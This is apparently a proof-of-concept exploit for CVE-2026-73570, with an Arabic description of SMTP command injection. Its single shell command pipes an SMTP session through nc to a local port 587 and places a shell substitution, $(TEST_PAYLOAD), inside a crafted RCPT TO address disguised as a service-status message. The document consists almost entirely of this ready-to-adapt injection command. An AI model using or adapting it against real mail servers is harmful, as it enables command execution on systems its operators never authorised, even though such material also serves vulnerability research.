
استغلال إثبات المفهوم لثغرة CVE-2026-73570، يوضح حقن أوامر SMTP عبر ترويسة RCPT TO مُصمَّمة بعناية لتحفيز تغييرات حالة الخدمة.
CVE-2026-73570 إثبات المفهوم
echo 'EHLO mx-test.invalid
MAIL FROM:<[email protected]>
RCPT TO:<"x: Service status change: localhost $(TEST_PAYLOAD) changed from stopped to running"@cve.invalid>
QUIT\r\n' | nc 127.0.0.1 587